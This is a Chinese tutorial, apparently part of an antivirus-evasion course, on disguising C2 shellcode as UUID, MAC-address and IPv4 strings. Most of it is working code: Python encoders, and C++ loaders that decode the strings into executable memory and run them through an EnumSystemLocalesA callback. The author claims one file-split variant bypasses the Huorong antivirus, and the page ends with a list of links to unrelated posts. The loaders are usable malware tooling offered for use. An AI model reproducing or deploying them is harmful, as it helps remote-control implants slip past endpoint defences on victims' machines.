C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值

免杀对抗------第一百五十九天

C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值

前置知识

  • 之前我们可能讲得更多的都是针对Loader的一个混淆,然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换
  • 我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等,反正总的目的就是让杀毒软件不认识这个东西

C2远控 - UUID地址-ShellCode转换

  • 参考文章:CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台
  • 我们可以将ShellCode转换为UUID,让其加载到内存,UUID(通用唯一识别码)是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
  • 我们可以通过Python脚本去生成UUID形式的ShellCode:
python 复制代码
from uuid import UUID  
import sys  
  
if len(sys.argv) < 2:  
    print("Usage: %s <shellcode_file>" % sys.argv[0])  
    sys.exit(1)  
with open(sys.argv[1], "rb") as f:  
    chunk = f.read(16)  
    print("{}const char* uuids[] =".format(' '*4))  
    print(" {")  
    while chunk:  
        if len(chunk) < 16:  
            padding = 16 - len(chunk)  
            chunk = chunk + (b"\x90" * padding)  
            print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))  
            break  
        print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))  
        chunk = f.read(16)  
    print(" };")
  • 然后通过如下代码加载:
cpp 复制代码
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;

const char* uuids[] = { "xxx"};


int main() {
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	printf("%p\n", hmem);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	int init = sizeof(uuids) / sizeof(uuids[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
		if (status != RPC_S_OK) {
			printf("UuidFromStringA != RPC_S_OK\n");
			CloseHandle(hmem);
			return -1;
		}
		ptr += 16;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < init * 16; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
		//((unsigned char*)hmem)[i] ^= 0x39;
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}
  • 当然只用这个肯定是没啥用的,我们还需要进行混淆,采用之前的一些技术结合起来才能过基本的杀毒软件,比如这里简单混淆一下代码,然后加个文件分离就可以过火绒了:
cpp 复制代码
#include <Windows.h>
#include <Rpc.h>
#include <stdio.h>
#pragma comment(lib, "Rpcrt4.lib")

int main() {
    // 从文件读取UUID数组(文件分离)
    FILE* f = fopen("uuids.dat", "r");
    if (!f) return 1;

    char uuid[64];
    int count = 0;
    while (fgets(uuid, sizeof(uuid), f)) {
        if (uuid[0] == '\n') continue;
        count++;
    }
    fseek(f, 0, SEEK_SET);

    // 分配内存
    void* p = VirtualAlloc(NULL, count * 16, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD_PTR d = (DWORD_PTR)p;

    // 加载UUID
    while (fgets(uuid, sizeof(uuid), f)) {
        if (uuid[0] == '\n') continue;
        uuid[36] = 0; // 移除换行符
        UuidFromStringA((RPC_CSTR)uuid, (UUID*)d);
        d += 16;
    }
    fclose(f);

    // 执行
    EnumSystemLocalesA((LOCALE_ENUMPROCA)p, 0);
    VirtualFree(p, 0, MEM_RELEASE);
    return 0;
}


C2远控 - MAC地址-ShellCode转换

  • 同理,我们也可以将ShellCode混淆为MAC地址,使用如下脚本:
python 复制代码
from macaddress import MAC  
import sys  
  
if len(sys.argv) < 2:  
    print("Usage: %s <shellcode_file>" % sys.argv[0])  
    sys.exit(1)  
with open(sys.argv[1], "rb") as f:  
    chunk = f.read(6)  
    print("{}const char* MAC[] =".format(' '*4))  
    print(" {")  
    while chunk:  
        if len(chunk) < 6:  
            padding = 6 - len(chunk)  
            chunk = chunk + (b"\x90" * padding)  
            print("{}\"{}\"".format(' '*8,MAC(chunk)))  
            break  
  
        print("{}\"{}\",".format(' '*8,MAC(chunk)))  
        chunk = f.read(6)  
    print(" };")
  • 再通过如下代码加载:
cpp 复制代码
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)

int Error(const char* msg) {
	printf("%s (%u)", msg, GetLastError());
	return 1;
}
int main() {
    const char* MAC[] = { xxx };
	int rowLen = sizeof(MAC) / sizeof(MAC[0]);
	PCSTR Terminator = NULL;
	DL_EUI48* LpBaseAddress2 = NULL;
	NTSTATUS STATUS;
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	for (int i = 0; i < rowLen; i++) {
		STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,
			(DL_EUI48*)ptr);
		if (!NT_SUCCESS(STATUS)) {
			printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());
			return FALSE;
		}
		ptr += 6;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < 6 * rowLen; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}
  • 但是这个也是过不了任何杀毒软件,还是需要进行混淆,这里就不细讲

C2远控 - IPv4地址-ShellCode转换

  • 还是一样,可以通过下面的代码将ShellCode转换为IPv4的地址:
python 复制代码
from ipaddress import ip_address  
import sys  
  
if len(sys.argv) < 2:  
    print("Usage: %s <shellcode_file>" % sys.argv[0])  
    sys.exit(1)  
with open(sys.argv[1], "rb") as f:  
    chunk = f.read(4)  
    print("{}const char* IPv4s[] =".format(' '*4))  
    print(" {")  
    while chunk:  
        if len(chunk) < 4:  
            padding = 4 - len(chunk)  
            chunk = chunk + (b"\x90" * padding)  
            print("{}\"{}\"".format(' '*8,ip_address(chunk)))  
            break  
        print("{}\"{}\",".format(' '*8,ip_address(chunk)))  
        chunk = f.read(4)  
    print(" };")
  • 再通过如下代码加载:
cpp 复制代码
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

int main() {
    const char* IPv4s[] = { xxx };

	PCSTR Terminator = NULL;
	PVOID LpBaseAddress = NULL;
	PVOID LpBaseAddress2 = NULL;
	NTSTATUS STATUS;
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	void* hmem = HeapAlloc(hHeap, 0, 0x1000);
	DWORD_PTR ptr = (DWORD_PTR)hmem;
	int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,
			&Terminator, (in_addr*)ptr);
		if (!NT_SUCCESS(STATUS)) {
			printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",
				IPv4s[i], STATUS, GetLastError());
			return FALSE;
		}
		ptr += 4;
	}
	printf("[+] HexDump: \n");
	for (int i = 0; i < init * 4; i++) {
		printf("%02X ", ((unsigned char*)hmem)[i]);
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
	CloseHandle(hmem);
	return 0;
}
  • 这也没啥好说的,反正主要的原理就是 shellcode -> 加密/编码 -> 混淆后的shellcode,这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别
相关推荐
坤坤子吖2 小时前
Linux网络编程:TCP服务器的多进程与多线程实现
linux·服务器·开发语言·网络·c++·笔记·学习
阡陌数智2 小时前
Claude API新版本重大变更与安全升级指南
java·linux·安全
一晌小贪欢3 小时前
Python基础:第 09 篇 · while 循环:重复直到不满足
开发语言·c++·python·数据可视化·面向对象·python办公
xiaoye-duck3 小时前
《C++ 项目:手写大模型接入 SDK》LLMManager架构设计与实现
开发语言·网络·c++·语言模型
蒸蒸yyyyzwd4 小时前
后端相关学习笔记。
笔记·学习
一条大祥脚4 小时前
CuTe 与 CuTe DSL:从 C++ 模板元编程到 Python DSL 的 GPU 编程演进
开发语言·c++·python·cutlass·cute·cute dsl
·present·4 小时前
CSAPP(lecture 13_02 Linking)
c语言·c++
andxe4 小时前
工业级 PoE 交换机选型指南:破解边缘部署四大核心难题
运维·网络·安全·光通信·交换机
旖旎夜光4 小时前
【C++ 基础入门】C++ 多态(上):虚函数、重写、override/final 与抽象类
开发语言·c++·笔记·学习
青少儿编程课堂6 小时前
蓝桥杯青少组图形化 STEMA 省考(报名倒计时·11/22开考)+ 全国青少年信息素养大赛 2026—2027赛季 + 电子学会图形化考级:校园华容道大闯关
c++·python·算法·bfs·信息学竞赛